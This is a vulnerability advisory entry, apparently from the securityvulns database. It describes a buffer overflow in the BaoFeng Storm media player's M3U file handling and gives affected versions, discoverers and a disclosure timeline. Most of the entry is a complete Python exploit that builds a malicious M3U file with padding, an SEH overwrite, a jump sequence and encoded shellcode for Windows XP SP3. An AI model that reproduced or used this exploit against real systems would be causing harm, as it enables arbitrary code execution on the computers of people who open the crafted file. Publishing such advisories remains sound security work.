BaoFeng Storm M3U File Processing Buffer Overflow Vulnerability

2010-05-13T00:00:00
ID SECURITYVULNS:DOC:23857
Type securityvulns
Reporter Securityvulns
Modified 2010-05-13T00:00:00

Description

BaoFeng Storm M3U File Processing Buffer Overflow Vulnerability

Vulnerable: Storm2012 3.10.4.21
Storm2012 3.10.4.16 Storm2012 3.10.4.8 Storm2012 3.10.3.17 Storm2012 3.10.2.5 Storm2012 3.10.1.12 Other versions also may be affected

Vendor: www.baofeng.com

1) Software Description: BaoFeng Storm is very popular universal multimedia player in china.

2) Details: A buffer overflow vulnerability in BaoFeng Storm that Processing m3u file. allows remote attackers to execute arbitrary code via a long string in an M3U file.

3) Credit: The vulnerability was discovered by Qingshan Li and Lufeng Li of Neusoft Corporation

4) Timeline: 2010.04.26 Report to CNVD 2010.04.29 Vendor upgrade 2010.05.06 Public

5) Exploit:

!/usr/bin/env python

Title: BaoFeng Storm M3U File Processing Buffer Overflow Exploit

CNVD-ID: CNVD-2010-00752

Found By: Qingshan Li and Lufeng Li of Neusoft Corporation

Download: www.baofeng.com

Test: Put m3u file in root(e.g. c:/ d:/),and open this m3u file

Platform: Windows XPSP3 Chinese Simplified

file= "baofeng.m3u" junk ="\x41"*795 nseh="\x61\xe8\xe1" seh="\xaa\xd7\x40"

jmp ="\x53\x53\x6d\x58\x6d\x05\x11\x22\x6d\x2d\x10\x22\x6d\xac\xe4" nops ="\x42" * 110 shellcode=("PPYAIAIAIAIAQATAXAZAPA3QADAZA" "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA" "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB" "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K" "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL" "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55" "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V" "NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB" "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT" "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU" "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM" "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC" "QQ2LRCM0LJA")

fobj=open(file,"w") payload=junk+nseh+seh+jmp+nops+shellcode fobj.write(payload) fobj.close()


Qingshan Li and Lufeng Li 2010-05-06


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